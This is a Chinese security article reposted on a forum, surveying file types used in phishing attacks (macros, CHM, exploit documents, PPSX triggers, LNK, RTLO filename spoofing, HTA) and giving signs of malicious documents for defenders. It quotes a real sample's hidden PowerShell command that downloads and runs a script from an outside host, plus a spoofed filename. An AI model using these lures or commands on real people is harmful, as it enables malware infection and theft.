搜索

[20353] 2020-08-06_钓鱼攻击中文件的几种姿势

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2020-08-06_钓鱼攻击中文件的几种姿势 钓 鱼 攻 击 中 文 件 的 几 种 姿 势 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 8 - 0 6 以 下 文 章 来 源 于 酒 仙 桥 六 号 部 队   ， 作 者 队 员 编 号 0 5 0 这 是   酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   的 第   5 0   篇 文 章 。 全 文 共 计 2 1 6 1 个 字 ， 预 计 阅 读 时 长 8 分 钟 。 0 前 言 前 言 网 络 钓 鱼 是 最 常 见 的 社 会 工 程 学 攻 击 方 式 之 一 。 所 谓 社 会 工 程 学 ， 是 一 种 通 过 对 受 害 者 心 理 弱 点 、 本 能 反 应 、 好 奇 心 、 信 任 、 贪 婪 等 心 理 陷 阱 进 行 诸 如 欺 骗 、 伤 害 等 危 害 手 段 。 在 生 活 工 作 中 ， 最 常 使 用 的 邮 件 、 各 种 文 档 也 成 为 黑 客 常 用 的 攻 击 载 体 。 近 些 年 来 ， 网 络 钓 鱼 攻 击 趋 势 也 一 直 呈 增 长 趋 势 ， 特 别 是 在 A P T 攻 击 、 勒 索 软 件 攻 击 等 事 件 中 ， 扮 演 了 重 要 的 角 色 。 1 姿 势 姿 势 1 - 内 内 嵌 链 接 嵌 链 接 在 P D F 、 O f f i c e 文 档 中 内 嵌 一 个 跳 转 链 接 是 很 早 期 的 钓 鱼 方 式 ， 通 过 文 字 信 息 的 引 导 ， 让 受 害 者 点 开 页 面 ， 如 果 缺 乏 戒 心 ， 就 可 能 会 获 取 到 受 害 者 的 账 号 、 密 码 、 银 行 卡 、 身 份 证 等 信 息 。 O f f i c e 、 A d o b e 等 应 用 软 件 目 前 都 对 打 开 外 部 链 接 都 会 弹 框 进 行 安 全 提 醒 ， 这 种 方 式 也 比 较 容 易 引 起 人 类 警 觉 。 2 姿 势 姿 势 2 - O f f i c e 宏 宏 宏 是 O f f i c e 自 带 的 一 种 高 级 脚 本 特 性 ， 通 过 V B A 代 码 ， 可 以 在 O f f i c e 中 去 完 成 某 项 特 定 的 任 务 ， 而 不 必 再 重 复 相 同 的 动 作 ， 目 的 是 让 用 户 文 档 中 的 一 些 任 务 自 动 化 。 由 于 早 些 年 宏 病 毒 泛 滥 ， 现 在 O f f i c e 的 宏 功 能 已 经 默 认 是 禁 用 ， 但 依 然 无 法 阻 挡 攻 击 者 使 用 宏 。 那 么 如 何 引 诱 受 害 者 开 启 宏 功 能 就 是 关 键 了 ， 常 用 的 套 路 : 文 档 是 被 保 护 状 态 ， 需 要 启 用 宏 才 能 查 看 ； 添 加 一 张 模 糊 的 图 片 ， 提 示 需 要 启 用 宏 才 能 查 看 高 清 图 片 ； 酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   . 知 其 黑 ， 守 其 白 。   分 享 知 识 盛 宴 ， 闲 聊 大 院 趣 事 ， 备 好 酒 肉 等 你 ！
提 示 要 查 看 文 档 ， 按 给 出 的 一 系 列 步 骤 操 作 ； 贴 一 张 某 杀 毒 软 件 的 L o g o 图 片 ， 暗 示 文 档 被 安 全 软 件 保 护 。 恶 意 宏 代 码 在 免 杀 和 增 加 分 析 难 度 的 手 段 上 也 多 种 多 样 ， 除 了 把 V B A 代 码 混 淆 变 形 外 ， 利 用 E x c e l 的 特 性 隐 藏 代 码 也 很 常 见 。
上 图 中 9 9 6 - 1 0 0 6 行 被 隐 藏 。 取 消 隐 藏 后 ， 由 于 字 体 颜 色 与 背 景 色 相 同 ， 所 以 也 难 看 到 ， 修 改 这 部 分 背 景 色 查 看 如 下 。
利 用 O L E D u m p 工 具 ， 可 以 看 到 这 段 宏 代 码 是 读 取 了 这 部 分 内 容 进 行 恶 意 文 件 的 下 载 。 3 姿 势 姿 势 3 - C H M 文 档 文 档 C H M 是 W i n d o w s 帮 助 文 件 （ 如 电 子 书 ） 使 用 的 扩 展 名 ， 此 文 件 可 以 被 植 入 可 执 行 代 码 。 成 功 的 利 用 需 要 欺 骗 用 户 打 开 恶 意 的 C H M 文 件 ， 该 文 件 可 用 于 执 行 恶 意 代 码 。 其 缺 点 就 是 打 开 时 会 出 现 弹 黑 框 、 卡 顿 ， 容 易 被 察 觉 。 上 图 是 一 例 恶 意 C H M 文 档 ， 打 开 或 点 击 左 侧 标 题 时 就 会 执 行 p o w e r s h e l l 代 码 。 通 过 H H . e x e 进 行 反 汇 编 可 以 看 到 其 执 行 代 码 。 C H M 文 件 的 利 用 虽 然 历 史 悠 久 ， 但 通 过 免 杀 手 段 依 然 活 跃 ， 著 名 的 C o b a l t   S t r i k e 就 支 持 C H M 钓 鱼 文 件 的 生 成 。 4 姿 势 姿 势 4 - 漏 漏 洞 利 用 洞 利 用 利 用 O f f i c e 、 A d o b e 、 I E 等 应 用 软 件 的 漏 洞 ， 精 心 制 作 成 诱 饵 文 档 ， 是 A P T 攻 击 中 的 常 客 。 现 实 中 可 能 不 会 及 时 更 新 打 补 丁 ， 这 种 攻 击 方 式 的 成 功 率 是 比 较 高 的 。 这 类 文 档 除 了 挑 选 漏 洞 外 ， 对 文 件 命 名 也 煞 费 苦 心 ， 通 常 会 起 最 近 的 热 点 新 闻 ， 或 跟 自 身 相 关 的 名 字 ， 让 人 看 了 不 得 不 点 开 看 看 。
捆 绑 了 漏 洞 的 文 档 ， 如 果 需 要 完 美 执 行 ， 不 被 察 觉 ， 还 是 比 较 困 难 的 ， 不 过 只 要 达 到 目 的 ， 只 要 被 打 开 就 完 成 一 大 半 了 。 我 们 可 以 简 单 的 从 几 个 细 节 来 判 断 打 开 的 文 档 是 否 有 问 题 ： 打 开 后 文 件 变 小 ， 因 为 病 毒 体 被 释 放 ， 原 始 文 件 被 干 净 的 文 档 替 换 ， 如 果 没 注 意 原 始 大 小 ， 也 可 以 从 创 建 时 间 判 断 ； 文 档 打 开 后 ， o f f i c e 程 序 自 动 退 出 ， 又 自 动 打 开 了 文 档 ， 第 二 次 打 开 明 显 快 了 ； 文 档 运 行 报 错 ， 又 或 者 自 行 安 装 你 不 知 道 什 么 的 程 序 ； 文 档 打 开 缓 慢 ， 系 统 卡 顿 较 长 时 间 ； 文 档 打 开 后 ， 显 示 的 内 容 与 标 题 不 符 ， 或 者 是 乱 码 ， 甚 至 没 什 么 内 容 。 随 着 新 冠 病 毒 的 爆 发 ， 很 多 行 业 领 域 都 遭 受 到 带 有 C O V I D - 1 9 社 会 工 程 主 题 的 钓 鱼 攻 击 ， 大 多 捆 绑 了 勒 索 软 件 。 5 姿 势 姿 势 5 - P P T 手 手 势 触 发 势 触 发 如 果 文 档 一 打 开 就 触 发 已 经 玩 腻 了 ， 那 么 在 P P T 里 设 置 动 作 触 发 一 行 命 令 执 行 ， 就 比 较 少 见 了 。 在 历 史 攻 击 中 就 出 现 过 这 种 利 用 方 式 ， 把 p p t 配 置 成 p p s x 后 缀 ， 双 击 运 行 后 就 是 播 放 模 式 ， 鼠 标 只 要 划 过 指 定 区 域 就 会 执 行 一 段 代 码 ， 美 中 不 足 的 是 会 被 弹 框 警 告 ， 如 果 不 警 惕 点 了 启 用 就 中 招 了 。 其 在 运 行 程 序 里 设 置 的 代 码 如 下 ： p o w e r s h e l l   - N o P   - N o n I   - W   H i d d e n   - E x e c   B y p a s s   " I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : ' + [ c h a r ]   0 x 2 F + [ c h a r ]   0 x 2 F + ' c c c n . n l ' + [ c h a r ]   0 x 2 F + ' c . p h p ' , " $ e n v : t e m p i i . j s e " ) ;   I n v o k e - I t e m   "
6 姿 势 姿 势 6 - L N K 文 件 文 件 L N K （ 快 捷 方 式 或 符 号 链 接 ） 是 引 用 其 他 文 件 或 程 序 的 方 法 ， 最 著 名 的 就 是 震 网 病 毒 （ S t u x n e t ） 中 的 利 用 ， 在 最 新 的 利 用 样 本 也 有 很 多 ， 先 看 一 例 。 通 过 分 析 工 具 ， 把 执 行 代 码 D u m p 出 来 ， 如 下 图 。 快 捷 方 式 修 改 的 利 用 方 式 ， 在 M I T R E   A T T @ C K 中 的 I D 是 T 0 1 2 3 ， 攻 击 者 可 以 使 用 这 种 方 式 来 实 现 持 久 化 。 7 姿 势 姿 势 7 - 文 件 后 缀 文 件 后 缀 R T L O 伪 装 文 件 中 有 个 比 较 古 老 的 方 式 ， 但 依 然 会 在 攻 击 中 看 到 它 的 身 影 。 R T L O 字 符 全 名 为 “ R I G H T - T O - L E F T   O V E R R I D E ” ， 是 一 个 不 可 显 示 的 控 制 类 字 符 ， 其 本 质 是 u n i c o d e   字 符 。 可 以 将 任 意 语 言 的 文 字 内 容 按 倒 序 排 列 ， 最 初 是 用 来 支 持 一 些 从 右 往 左 写 的 语 言 的 文 字 ， 比 如 阿 拉 伯 语 ， 希 伯 来 语 。 由 于 它 可 以 重 新 排 列 字 符 的 特 性 ， 会 被 攻 击 者 利 用 从 而 达 到 欺 骗 目 标 ， 使 得 用 户 运 行 某 些 具 有 危 害 性 的 可 执 行 文 件 。
R T L O 使 用 的 关 键 字 符 就 是 U + 2 0 2 E ， 配 合 修 改 文 件 的 图 标 ， 还 是 很 具 有 迷 惑 性 的 。 8 姿 势 姿 势 8 - H T A 文 件 文 件 H T A 是 H T M L   A p p l i c a t i o n 的 缩 写 ， 直 接 将 H T M L 保 存 成 H T A 的 格 式 ， 是 一 个 独 立 的 应 用 软 件 ， 本 身 就 是 h t m l 应 用 程 序 ， 双 击 就 能 运 行 ， 却 比 普 通 网 页 权 限 大 得 多 ， 它 具 有 桌 面 程 序 的 所 有 权 限 。 C o b a l t   S t r i k e 也 支 持 H T A 钓 鱼 文 件 的 生 成 ， 另 有 勒 索 软 件 （ L o c k y 家 族 ） 使 用 H T A 作 为 传 播 载 体 。 9 总 结 总 结 钓 鱼 文 档 的 姿 势 还 有 很 多 ， 本 文 只 是 罗 列 了 一 些 钓 鱼 常 用 的 文 件 形 式 ， 举 例 截 图 的 基 本 都 是 真 实 攻 击 中 使 用 到 的 样 本 。 针 对 钓 鱼 攻 击 ， 具 备 良 好 的 安 全 意 识 才 是 最 有 效 的 防 范 。 对 于 一 些 来 路 不 明 的 文 件 ， 即 使 文 件 名 再 吸 引 人 ， 也 不 能 立 马 双 击 打 开 ， 同 时 要 及 时 安 装 安 全 补 丁 。 # 在 命 令 行 下 可 以 看 到 完 整 的 文 件 名   ' 使 用 帮 助 - 如 何 删 除 g h o s t - ' $ ' 3 4 2 2 0 0 2 5 6 ' ' c o d . e x e

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理